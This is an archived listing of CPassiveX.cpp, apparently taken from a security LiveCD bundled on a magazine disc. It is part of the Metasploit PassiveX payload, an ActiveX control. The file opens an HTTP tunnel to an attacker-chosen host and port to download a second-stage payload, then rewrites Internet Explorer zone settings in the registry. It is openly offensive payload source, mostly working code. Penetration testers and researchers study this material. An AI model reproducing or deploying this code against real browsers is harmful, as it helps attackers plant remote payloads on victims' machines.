home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / src / passivex / CPassiveX.cpp next >
C/C++ Source or Header  |  2006-06-30  |  4KB  |  232 lines

  1. /*
  2.  * This file is part of the Metasploit Exploit Framework
  3.  * and is subject to the same licenses and copyrights as
  4.  * the rest of this package.
  5.  */
  6. #include "PassiveXLib.h"
  7. #include "CPassiveX.h"
  8.  
  9. #ifdef PXDEBUG
  10. static FILE *DebugFd = NULL;
  11. #endif
  12.  
  13. CPassiveX::CPassiveX()
  14. : PropHttpPort(0)
  15. {
  16. }
  17.  
  18. CPassiveX::~CPassiveX()
  19. {
  20.     Tunnel.Stop();
  21.  
  22. #ifdef PXDEBUG
  23.     if (DebugFd)
  24.         fclose(
  25.                 DebugFd);
  26. #endif
  27. }
  28.  
  29. STDMETHODIMP CPassiveX::InterfaceSupportsErrorInfo(REFIID riid)
  30. {
  31.     if (::InlineIsEqualGUID(IID_IPassiveX, riid))
  32.         return S_OK;
  33.  
  34.     return S_FALSE;
  35. }
  36.  
  37. /**************
  38.  * Properties *
  39.  **************/
  40.  
  41. HRESULT CPassiveX::get_HttpHost(BSTR *Host)
  42. {
  43.     *Host = PropHttpHost;
  44.  
  45.     return S_OK;
  46. }
  47.  
  48. HRESULT CPassiveX::put_HttpHost(BSTR Host)
  49. {
  50.     PropHttpHost = Host;
  51.  
  52.     return S_OK;
  53. }
  54.  
  55. HRESULT CPassiveX::get_HttpPort(ULONG *Port)
  56. {
  57.     *Port = PropHttpPort;
  58.  
  59.     return S_OK;
  60. }
  61.  
  62. HRESULT CPassiveX::put_HttpPort(ULONG Port)
  63. {
  64.     PropHttpPort = Port;
  65.  
  66.     return S_OK;
  67. }
  68.  
  69. HRESULT CPassiveX::get_DownloadSecondStage(ULONG *Port)
  70. {
  71.     return S_OK;
  72. }
  73.  
  74. HRESULT CPassiveX::put_DownloadSecondStage(ULONG Port)
  75. {
  76.     Initialize();
  77.  
  78.     return S_OK;
  79. }
  80.  
  81. #ifdef PXDEBUG
  82. /*
  83.  * Logs a message to a file for debugging purposes
  84.  */
  85. VOID CPassiveX::Log(LPCTSTR fmt, ...)
  86. {
  87.     // If we haven't opened the debug log yet...
  88.     if (!DebugFd)
  89.     {
  90.         TCHAR DebugFilePath[MAX_PATH];
  91.  
  92.         ZeroMemory(
  93.                 DebugFilePath,
  94.                 sizeof(DebugFilePath));
  95.  
  96.         ExpandEnvironmentStrings(
  97.                 TEXT("%TEMP%\\PassiveX.log"),
  98.                 DebugFilePath,
  99.                 (sizeof(DebugFilePath) / sizeof(TCHAR)) - 1);
  100.  
  101.         // Try to open the debug log file
  102.         DebugFd = fopen(
  103.                 DebugFilePath,
  104.                 "a");
  105.     }
  106.  
  107.     // If we have a valid debug file descriptor...use it
  108.     if (DebugFd)
  109.     {
  110.         va_list Args;
  111.  
  112.         va_start(
  113.                 Args,
  114.                 fmt);
  115.  
  116. #ifndef _UNICODE
  117.         vfprintf(
  118.                 DebugFd,
  119.                 fmt,
  120.                 Args);
  121. #else
  122.         // Lame...
  123.         {
  124.             USES_CONVERSION;
  125.  
  126.             LPCSTR AsciiString = OLE2A(fmt);
  127.  
  128.             vfprintf(
  129.                     DebugFd,
  130.                     AsciiString,
  131.                     Args);
  132.         }
  133. #endif
  134.  
  135.         va_end(
  136.                 Args);
  137.  
  138.         fflush(
  139.                 DebugFd);
  140.     }
  141. }
  142. #endif
  143.  
  144. /*********************
  145.  * Protected Methods *
  146.  *********************/
  147.  
  148. /*
  149.  * Restores internet explorer zone restrictions to defaults and creates the HTTP
  150.  * tunnel as necessary
  151.  */
  152. VOID CPassiveX::Initialize()
  153. {
  154.     USES_CONVERSION;
  155.  
  156.     // If the HTTP port is valid, start the HTTP tunnel
  157.     if ((PropHttpHost) &&
  158.         (PropHttpPort))
  159.     {
  160.         Tunnel.Start(
  161.                 OLE2A(PropHttpHost),
  162.                 (USHORT)PropHttpPort);
  163.     }
  164.     
  165.     // Reset zone restrictions back to default
  166.     ResetExplorerZoneRestrictions();
  167. }
  168.  
  169. /*
  170.  * Resets the internet explorer zone restrictions back to their defaults such
  171.  * that people aren't left vulnerable
  172.  */
  173. VOID CPassiveX::ResetExplorerZoneRestrictions()
  174. {
  175.     ULONG Value;
  176.     HKEY  InternetZoneKey = NULL;
  177.  
  178.     // Open the internet zone
  179.     if (RegOpenKeyEx(
  180.             HKEY_CURRENT_USER,
  181.             TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3"),
  182.             0,
  183.             KEY_WRITE,
  184.             &InternetZoneKey) == ERROR_SUCCESS)
  185.     {
  186.         // Download unsigned ActiveX controls
  187.         Value = 3; // Disabled
  188.  
  189.         RegSetValueEx(
  190.                 InternetZoneKey,
  191.                 TEXT("1004"), 
  192.                 0,
  193.                 REG_DWORD,
  194.                 (LPBYTE)&Value,
  195.                 sizeof(Value));
  196.  
  197.         RegSetValueEx(
  198.                 InternetZoneKey,
  199.                 TEXT("1201"), 
  200.                 0,
  201.                 REG_DWORD,
  202.                 (LPBYTE)&Value,
  203.                 sizeof(Value));
  204.  
  205.         // Download signed ActiveX controls
  206.         Value = 1; // Prompt
  207.  
  208.         RegSetValueEx(
  209.                 InternetZoneKey,
  210.                 TEXT("1001"), 
  211.                 0,
  212.                 REG_DWORD,
  213.                 (LPBYTE)&Value,
  214.                 sizeof(Value));
  215.  
  216.         // Run ActiveX controls and plugins
  217.         Value = 0; // Enabled
  218.  
  219.         RegSetValueEx(
  220.                 InternetZoneKey,
  221.                 TEXT("1200"), 
  222.                 0,
  223.                 REG_DWORD,
  224.                 (LPBYTE)&Value,
  225.                 sizeof(Value));
  226.     
  227.         // Initialize and script ActiveX controls not marked as safe
  228.         RegCloseKey(
  229.                 InternetZoneKey);
  230.     }
  231. }
  232.